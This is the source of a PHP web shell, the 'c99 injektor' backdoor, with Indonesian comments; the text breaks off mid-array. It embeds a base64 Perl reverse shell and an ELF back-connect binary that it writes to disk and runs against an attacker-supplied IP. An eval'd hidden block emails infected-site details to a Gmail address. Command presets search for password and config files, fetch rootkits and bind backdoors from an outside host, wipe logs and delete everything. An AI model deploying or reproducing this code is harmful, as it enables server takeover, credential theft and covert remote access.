```
<?php
/*******************************************/
/* c99 injektor v1 06.2008                 */
/* Re-coded and modified By garculas       */
/* #kraksaan@irc.allnetwork.org            */
/*******************************************/
$sh_id = "amF0aW1jcmV3";
$sh_ver = "- exploit";
$sh_name = base64_decode($sh_id).$sh_ver;
$sh_mainurl = "http://kraksaans.co.cc";
$html_start = ".
'<html><head>
<title>'.$sh_name. ' - '.getenv("HTTP_HOST").'</title>
<style type="text/css">
<!--
body,table { verdana;11px;color:white;background-color:black; }
table { width:100%; }
table,td { border:1px solid #808080;2;2;padding:5px; }
a { color:lightblue;text-decoration:none; }
a:active { color:#00FF00; }
a:link { color:#5B5BFF; }
a:hover { text-decoration:underline; }
a:visited { color:#99CCFF; }
input,select,option { font:8pt tahoma;color:#FFFFFF;2;border:1px solid #666666; }
textarea { color:#dedbde;font:fixedsys bold;border:1px solid #666666;2; }
.fleft { float:left;text-align:left; }
.fright { float:right;text-align:right; }
#pagebar { font:10pt tahoma;padding:5px; border:3px solid #1E1E1E; border-
collapse:collapse; }
#pagebar td { vertical-align:top; }
#pagebar p { font:8pt tahoma;}
#pagebar a { font-weight:bold;color:#00FF00; }
#pagebar a:visited { color:#00CE00; }
#mainmenu { text-align:center; }
#mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }
#maininfo,.barheader,.barheader2 { text-align:center; }
```

```
#maininfo td { padding:3px; }
.barheader { font-weight:bold;padding:5px; }
.barheader2 { padding:5px;border:2px solid #1F1F1F; }
.contents,.explorer { border-collapse:collapse;}
.contents td { vertical-align:top; }
.mainpanel { border-collapse:collapse;padding:5px; }
.barheader,.mainpanel table,td { border:1px solid #333333; }
.mainpanel input,select,option { border:1px solid #333333;0; }
input[type="submit"] { border:1px solid #000000; }
input[type="text"] { padding:3px;}
.shell { background-color:#C0C0C0;color:#000080;padding:5px; }
.yxerrmsg { color:red; font-weight:bold; }
#pagebar,#pagebar p,h1,h2,h3,h4,form { 0; }
#pagebar,.mainpanel,input[type="submit"] { background-color:#4A4A4A; }
.barheader2,input,select,option,input[type="submit"]:hover { background-color:#333333; }
textarea,.mainpanel input,select,option { background-color:#000000; }
// -->
</style>
</head>
<body>
';
//Authentication
$login = "";
$pass = "";
$md5_pass = ""; //Password yg telah di enkripsi dg md5. Jika kosong, md5($pass).
$host_allow = array("*"); //Contoh: array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted Area"; //Pesan HTTP-Auth
$accessdeniedmess = "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied";
$gzipencode = TRUE;
$updatenow = FALSE; //Jika TRUE, update shell sekarang.
$c99sh_updateurl = $sh_mainurl."ipays.php";
$c99sh_sourcesurl = $sh_mainurl."passs.txt";
//$c99sh_updateurl = "http://www.utama-audio.com/ipays/tool/";
//$c99sh_sourcesurl = "http://www.utama-audio.com/ipays/tool/passs.txt";
$filestealth = TRUE; //TRUE, tidak merubah waktu modifikasi dan akses.
$curdir = "./";
$tmpdir = "";
$tmpdir_log = "./";
$log_email = "asyiek12@gmail.com"; //email untuk pengiriman log.
```

```
$sort_default = "0a"; //Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
$sort_save = TRUE; //Jika TRUE, simpan posisi pengurutan menggunakan cookies.
$sess_cookie = "c99shvars"; //Nama variabel Cookie
$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Hapus file yg telah di-copy setelah dipaste
$hexdump_lines = 8;
$hexdump_rows = 24;
$win = strtolower(substr(PHP_OS,0,3)) == "win";
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc)) {
  $disablefunc = str_replace(" ","",$disablefunc);
  $disablefunc = explode(",",$disablefunc);
}
//Functions
function get_phpini() {
  function U_wordwrap($str) {
    $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
    return @preg_replace('(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  }
  function U_value($value) {
    if ($value == '') return '<i>no value</i>';
    if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
    if ($value === null) return 'NULL';
    if (@is_object($value)) $value = (array) $value;
    if (@is_array($value)) {
      @ob_start();
      print_r($value);
      $value = @ob_get_contents();
      @ob_end_clean();
    }
    return U_wordwrap((string) $value);
  }
  if (@function_exists('ini_get_all')) {
    $r = "";
    echo "<table><tr><td>Directive</td><td>Local Value</td><td>Global Value</td></tr>";
    foreach (@ini_get_all() as $key=>$value) {
      $r .= "<tr><td>".$key."</td><td><div align=center>".U_value($value['local_value'])."</div>
</td><td><div align=center>".U_value($value['global_value'])."</div></td></tr>";
    }
```

```
    echo $r;
    echo "</table>";
  }
}
function disp_drives($curdir,$surl) {
  $letters = "";
  $v = explode("\\",$curdir);
  $v = $v[0];
  foreach (range("A","Z") as $letter) {
    $bool = $isdiskette = $letter == "A";
    if (!$bool) {$bool = is_dir($letter.":\\");}
    if ($bool) {
      $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".
      ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly,
otherwise an error may occur.')\"":"").">[";
      if ($letter.":" != $v) {$letters .= $letter;}
      else {$letters .= "<font color=yellow>".$letter."</font>";}
      $letters .= "]</a> ";
    }
  }
  if (!empty($letters)) {Return $letters;}
  else {Return "None";}
}
if (is_callable("disk_free_space")) {
  function disp_freespace($curdrv) {
    $free = disk_free_space($curdrv);
    $total = disk_total_space($curdrv);
    if ($free === FALSE) {$free = 0;}
    if ($total === FALSE) {$total = 0;}
    if ($free < 0) {$free = 0;}
    if ($total < 0) {$total = 0;}
    $used = $total-$free;
    $free_percent = round(100/($total/$free),2)."%";
    $free = view_size($free);
    $total = view_size($total);
    return "$free of $total ($free_percent)";
  }
}
//w4ck1ng Shell
```

```
if (!function_exists("myshellexec")) {
  if(is_callable("popen")) {
    function myshellexec($cmd) {
      if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }
      while (!feof($p)) {
        $line=fgets($p,1024);
        $out .= $line;
      }
      pclose($p);
      return $out;
    }
  } else {
    function myshellexec($cmd) {
      global $disablefunc;
      $result = "";
      if (!empty($cmd)) {
        if (is_callable("exec") and !in_array("exec",$disablefunc)) {
          exec($cmd,$result);
          $result = join("\n",$result);
        } elseif (($result = $cmd) !== FALSE) {
        } elseif (is_callable("system") and !in_array("system",$disablefunc)) {
          $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents();
@ob_clean(); echo $v;
        } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {
          $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result =
@ob_get_contents(); @ob_clean(); echo $v;
        } elseif (is_resource($fp = popen($cmd,"r"))) {
          $result = "";
          while(!feof($fp)) { $result .= fread($fp,1024); }
          pclose($fp);
        }
      }
      return $result;
    }
  }
}
function ex($cfe) {
  $res = '';
  if (!empty($cfe)) {
```

```
    if(function_exists('exec')) {
      @exec($cfe,$res);
      $res = join("\n",$res);
    } elseif(function_exists('shell_exec')) {
      $res = @shell_exec($cfe);
    } elseif(function_exists('system')) {
      @ob_start();
      @system($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(function_exists('passthru')) {
      @ob_start();
      @passthru($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
      $res = "";
      while(!@feof($f)) { $res .= @fread($f,1024); }
      @pclose($f);
    } else { $res = "Ex() Disabled!"; }
  }
  return $res;
}
function which($pr) {
  $path = ex("which $pr");
  if(!empty($path)) { return $path; } else { return $pr; }
}
//End of w4ck1ng Shell

//Start Enumerate function
$hostname_x = php_uname(n);
$itshome = getcwd();
if (!$win) {
  $itshome = str_replace("/home/","~",$itshome);
  $itshome = str_replace("/public_html","/yx29sh.php",$itshome);
}
else { $itshome = ""; }
$enumerate = "http://".$hostname_x."/".$itshome."";
//End Enumerate function
```

```
//milw0rm search
$Lversion = php_uname(r);
$OSV = php_uname(s);
if(eregi("Linux",$OSV)) {
  $Lversion=substr($Lversion,0,6);
  $millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
} else {
  $Lversion=substr($Lversion,0,3);
  $millink ="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
}
//End of milw0rm search

//Backdoor
$back_connect_pl =
"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0g
J2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzd
GVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zd
G5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcm
dldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGF
yZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsI
CRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKC
d0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8p
IHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGR
pZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTT0
PVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG
46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOj
pcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnBya
W50ICJcblIvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQ
gRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVt
KCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNU
KFNURE9VVCk7DQpjbG9zZShTVERFUllpOw==";
$back_connect_c =
"f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACg
AHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQ
QIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAA
AAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAm
QQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAA
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```

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AADdAAAAEgAAAEMAAAAAAAAOgAAABIAAABcAAAAAAAAKoBAAASAAAAVgAAAAA
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AAAAOAAAAEgAAAC4AAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAA
AAAA5AAAAEgAAAAEAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAgAAAAF9Kdl
9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhl
Y2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAG
h0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21h
aW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgA
CAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAABBpaQ0AAAIAsgAAAAAAAA
AImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAA
smgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABE
mgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAA
DoIAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoC
AAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yU
smgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAA
ADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJo
ECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA
6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFA
AAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJ
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+wEagZqAWoC6G3+//+DxBCJReSD7ARqEI1FyFD/deToRv7//4PEEIXAeRqD7AxoCYkECOh
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/3X36C4AAACDxAxbXl/Jw5CQVYnlU1K7LJkECKEsmQQI6wqNdgCD6wT/0IsDg/j/dfRYW8n
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////8AAAAAAAAAAAEAAAAkAAAADAAAALCEBAgNAAAA0IgECAQAAABIgQQIBQAAACSD
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///9vAQAAAPD//2/ggwQIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAECZBAgAAAAAAAAAAN6EBAjuhAQI/oQECA6FBAgehQ
QILoUECD6FBAhOhQQIXoUECG6FBAh+hQQIjoUECJ6FBAiuhQQIvoUECM6FBAgAAAAAA
AAAADiZBAgAR0NDOiAoR05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0y
KQAAR0NDOiAoR05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAAR0
NDOiAoR05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAAR0NDOiAoR
05VKSAzLjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAAR0NDOiAoR05VKSAz
LjQuNSAyMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAAR0NDOiAoR05VKSAzLjQuNSA
yMDA1MTIwMSAoUmVkIEhhdCAzLjQuNS0yKQAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnR
hYgAuaW50ZXJwAC5ub3RlLkFCSS10YWcALmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnU
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AuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaW
MALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAAAQAAAAIAAAAUgQQIFAE
AABMAAAAAAAAAAAAAAEAAAAAAAAAIwAAAAcAAAACAAAAKIEECCgBAAAgAAAAAA
AAAAAAAAAEAAAAAAAAADEAAAAFAAAAAgAAAEiBBAhIAQAAnAAAAAQAAAAAAAAB
AAAAAQAAAA3AAAACwAAAAIAAADkgQQI5AEAAEABAAAFAAAAAQAAAAQAAAAQAAAA
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AgAAAOCDBAjgAwAAKAAAAAQAAAAAAAAAgAAAAIAAABUAAAA/v//bwIAAAAIhAQICAQ
AACAAAAAFAAAAAQAAAAQAAAAAAAAAYwAAAAkAAAACAAAAKIQECCgEAAAIAAAABA
AAAAAAAAAEAAAACAAAAGwAAAAJAAAAAgAAADCEBAgwBAAAgAAAAAQAAAALAAAA
BAAAAAgAAAB1AAAAAQAAAAYAAACwhAQIsAQAABcAAAAAAAAAAAAAAAQAAAAAAAA
AcAAAAAEAAAAGAAAAyIQECMgEAAAQAQAAAAAAAAAAAAAAEAAAABAAAAHsAAAABA
AAABgAAANiFBAjYBQAA+AIAAAAAAAAAAAAABAAAAAAAAACBAAAAAQAAAAYAAADQi
AQI0AgAABoAAAAAAAAAAAAAAAQAAAAAAAAAhwAAAAEAAAACAAAA7IgECOwIAAA5A
AAAAAAAAAAAAAAEAAAAAAAAAI8AAAABAAAAAgAAACiJBAgoCQAABAAAAAAAAAAA
AAABAAAAAAAAACZAAAAAQAAAAMAAAAsmQQILAkAAAgAAAAAAAAAAAAAAAQAAAA
AAAAAoAAAAAEAAAADAAAANJkECDQJAAAIAAAAAAAAAAAAAAAEAAAAAAAAAKcAAA
ABAAAAAwAAADyZBAg8CQAABAAAAAAAAAAAAAABAAAAAAAAACsAAAABgAAAAMA
AABAmQQIQAkAAMgAAAAFAAAAAAAAAAQAAAAIAAAAtQAAAAEAAAADAAAACJoECAg
KAAAEAAAAAAAAAAAAAAAEAAAABAAAALoAAAABAAAAAwAAAAyaBAgMCgAATAAAAA
AAAAAAAAAABAAAAAQAAADDAAAAAQAAAAMAAABYmgQIWAoAAAwAAAAAAAAAAA
AAAQAAAAAAAAyQAAAAgAAAADAAAAZJoECGQKAAAEAAAAAAAAAAAAAAAEAAAAA
AAAAM4AAAABAAAAAAAAAAAABkCgAADgEAAAAAAAAAAAAAAQAAAAAAAARAAA
AAwAAAAAAAAAAAAAcgsAANcAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAA

AAAAAAAKwQAABABQAAGwAAACwAAAAEAAAAEAAAAAkAAAADAAAAAAAAAAAAAAD
sFQAALAMAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABSBB
AgAAAAAAwABAAAAAAAogQQIAAAAAAMAAgAAAAAASIEECAAAAAADAAMAAAAAAOSB
BAgAAAAAAwAEAAAAAAAkgwQIAAAAAAMABQAAAAAA4IMECAAAAAADAAYAAAAAAAiE
BAgAAAAAAwAHAAAAAAAohAQIAAAAAAMACAAAAAAAMIQECAAAAAADAAkAAAAAALC
EBAgAAAAAAwAKAAAAAADIhAQIAAAAAAMACwAAAAAA2IUECAAAAAADAAwAAAAAAN
ClBAgAAAAAAwANAAAAAADsiAQIAAAAAAMADgAAAAAAKIkECAAAAAADAA8AAAAAACy
ZBAgAAAAAAwAQAAAAAAA0mQQIAAAAAAMAEQAAAAAAPJkECAAAAAADABIAAAAAAE
CZBAgAAAAAAwATAAAAAAAImgQIAAAAAAMAFAAAAAAADJoECAAAAAADABUAAAAAA
FiaBAgAAAAAAwAWAAAAAABkmgQIAAAAAAMAFwAAAAAAAAAAAAAAAAADABgAAAAA
AAAAAAAAAAAAAwAZAAAAAAAAAAAAAAAAAAMAGgAAAAAAAAAAAAAAAADABsAAQ
AAAPyFBAgAAAAAgAMABEAAAAAAAAAAAAAAQA8f8cAAAALJkECAAAAAABABAAKg
AAADSZBAgAAAAAQARADgAAAA8mQQIAAAAAAEAEgBFAAAAYJoECAAAAAABABYAS
QAAAGSaBAgBAAAAAQAXAFUAAAAghgQIAAAAAAIADABrAAAAVIYECAAAAAACAAwAE
QAAAAAAAAAAAAAABADx/3cAAAAwmQQIAAAAAAEAEACEAAAAOJkECAAAAAABABEA
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  if($w_file) {
    @fputs($w_file,@base64_decode($text));
    @fclose($w_file);
  }
}

function cfb($fname,$text) {
  $w_file=@fopen($fname,"w") or bberr();
  if($w_file) {
    @fputs($w_file,@base64_decode($text));
```

```
    @fclose($w_file);
  }
}
function err() { $_POST['backcconnmsge']="<br><br><div>Error:</div> Can't connect!"; }
function bberr() { $_POST['backcconnmsge']="<br><br><div>Error:</div> Can't backdoor
host!"; }

if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) {
  $ip = gethostbyname($_SERVER["HTTP_HOST"]);
  $por = $_POST['backconnectport'];
  if (is_writable(".")) {
    cfb("shbd",$backdoor);
    ex("chmod 777 shbd");
    $cmd = "./shbd $por";
    exec("$cmd > /dev/null &");
    $scan = myshellexec("ps aux");
  } else {
    cfb("/tmp/shbd",$backdoor);
    ex("chmod 777 /tmp/shbd");
    $cmd = "./tmp/shbd $por";
    exec("$cmd > /dev/null &");
    $scan = myshellexec("ps aux");
  }
  if (eregi("./shbd $por",$scan)) {
    $data = ("\n<br>Backdoor setup successfully.");
  } else {
    $data = ("\n<br>Process not found, backdoor setup failed!");
  }
  $_POST['backcconnmsg']="To connect, use netcat! Usage: <b>'nc $ip $por'</b>.$data";
}

if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) &&
($_POST['use']=="Perl")) {
  if (is_writable(".")) {
    cf("back",$back_connect_pl);
    $p2 = which("perl");
    $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
    if (file_exists("back")) { unlink("back"); }
  } else {
```

```
    cf("/tmp/back",$back_connect_pl);
    $p2 = which("perl");
    $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
    if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
  }
  $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port
<b>".$_POST['backconnectport']."</b>.";
}

if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) &&
($_POST['use']=="C")) {
  if (is_writable(".")) {
    cf("backc",$back_connect_c);
    ex("chmod 777 backc");
    $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
    if (file_exists("backc")) { unlink("backc"); }
  } else {
    ex("chmod 777 /tmp/backc");
    cf("/tmp/backc",$back_connect_c);
    $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
    if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); }
  }
  $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port
<b>".$_POST['backconnectport']."</b>.";
}
//End of Backdoor

//Starting calls
@ini_set("max_execution_time",0);
if (!function_exists("getmicrotime")) {
  function getmicrotime() {
    list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);
  }
}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
define("starttime",getmicrotime());
$shell_data =
```

```
"JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRj
b3Vu
dCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1Ry7
7+9
QUREUiJdOyAkd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOyAkaW5qID0gJF9TRVJWR
VJbIlJF
UVFU1RfVVJJIl07ICR0YXJnZXQgPSByYXd1cmxkZWNvZGUoJHdlYi4kaW5qKTsgJGJvZH
kgPSAi
Qm9zcywgdGhlcmUgd2FzIGFuIGluamVjdGVkIHRhcmdldCBvbiAkdGFyZ2V0IGJ5ICR2aXNp
dG9y
IjsgQG1haWwoImFzeWllazEyQGdtYWlsLmNvbSIsIlRhcmdldCBodHRwOi8vJHRhcmdldCBie
SAk
dmlzaXRvciIsICIkYm9keSIpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBzZXRjb29raWUoInZp
c2l0cyIsJHZpc2l0Y291bnQpOw==";  eval(base64_decode($shell_data));
if (get_magic_quotes_gpc()) {
  if (!function_exists("strips")) {
    function strips(&$arr,$k="") {
      if (is_array($arr)) {
        foreach($arr as $k=>$v) {
          if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }
        }
      } else {$arr = stripslashes($arr);}
    }
  }
  strips($GLOBALS);
}
//CONFIGURATIONS
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and
save it in SURL.
foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }
if ($surl_autofill_include) {
  $include = "&";
  foreach (explode("&",getenv("QUERY_STRING")) as $v) {
    $v = explode("=",$v);
    $name = urldecode($v[0]);
    $value = urldecode($v[1]);
    foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
```

```
      if (strpos($value,$needle) === 0) {
        $includestr .= urlencode($name)."=".urlencode($value)."&";
      }
    }
  }
}
if (empty($surl)) {
  $surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);

// Registered file-types.
$ftypes  = array(
   "html"=>array("html","htm","shtml"),
   "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
   "exe"=>array("sh","install","bat","cmd"),
   "ini"=>array("ini","inf","conf"),
   "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
   "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
   "sdb"=>array("sdb"),
   "phpsess"=>array("sess"),
   "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
//Registered executable file-types.
$exeftypes  = array(
   getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
   "perl %f%" => array("pl","cgi")
);
//Highlighted files.
$regxp_highlight  = array(
   array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
   array("\.tgz$",1,"<font color=#C082FF>","</font>"),
   array("\.gz$",1,"<font color=#C082FF>","</font>"),
   array("\.tar$",1,"<font color=#C082FF>","</font>"),
   array("\.bz2$",1,"<font color=#C082FF>","</font>"),
   array("\.zip$",1,"<font color=#C082FF>","</font>"),
   array("\.rar$",1,"<font color=#C082FF>","</font>"),
   array("\.php$",1,"<font color=#00FF00>","</font>"),
   array("\.php3$",1,"<font color=#00FF00>","</font>"),
```

```
    array("\.php4$",1,"<font color=#00FF00>","</font>"),
    array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
    array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
    array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
    array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
    array("\.ico$",1,"<font color=#00FFFF>","</font>"),
    array("\.gif$",1,"<font color=#00FFFF>","</font>"),
    array("\.png$",1,"<font color=#00FFFF>","</font>"),
    array("\.htm$",1,"<font color=#00CCFF>","</font>"),
    array("\.html$",1,"<font color=#00CCFF>","</font>"),
    array("\.txt$",1,"<font color=#C0C0C0>","</font>")
);
//Command Aliases
if (!$win) {
  $cmdaliases = array(
    array("", "ls -al"),
    array("Find all suid files", "find / -type f -perm -04000 -ls"),
    array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
    array("Find all sgid files", "find / -type f -perm -02000 -ls"),
    array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
    array("Find config.inc.php files", "find / -type f -name config.inc.php"),
    array("Find config* files", "find / -type f -name \"config*\""),
    array("Find config* files in current dir", "find . -type f -name \"config*\""),
    array("Find all writable folders and files", "find / -perm -2 -ls"),
    array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
    array("Find all writable folders", "find / -type d -perm -2 -ls"),
    array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
    array("Find all service.pwd files", "find / -type f -name service.pwd"),
    array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
    array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
    array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
    array("Find all .bash_history files", "find / -type f -name .bash_history"),
    array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
    array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
    array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
    array("List file attributes on a Linux second extended file system", "lsattr -va"),
    array("Show opened ports", "netstat -an | grep -i listen")
  );
  $cmdaliases2 = array(
```

```
    array("wget & extract psyBNC","wget ".$sh_mainurl."psy.tar.gz;tar -zxf psy.tar.gz;cd
.psy;./config 2020;./fuck;perl psy;./run"),
    array("wget & extract EggDrop","wget ".$sh_mainurl."httpd.tar.gz;tar -zxf httpd.tar.gz"),
    array("-----",""),
    array("Logged in users","w"),
    array("Last to connect","lastlog"),
    array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm
-4000 2> /dev/null"),
    array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
    array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
    array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
    array("CPU Info","cat /proc/version /proc/cpuinfo"),
    array("Is gcc installed ?","locate gcc"),
    array("Format box (DANGEROUS)","rm -Rf"),
    array("-----",""),
    array("wget WIPELOGS PT1","wget
http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
    array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
    array("Run WIPELOGS PT3","./zap2"),
    array("-----",""),
    array("wget RatHole 1.2 (Linux & BSD)","wget
http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
    array("wget & run BindDoor","wget ".$sh_mainurl."tool/bind.tar.gz;tar -zxvf
bind.tar.gz;./4877"),
    array("wget Sudo Exploit","wget
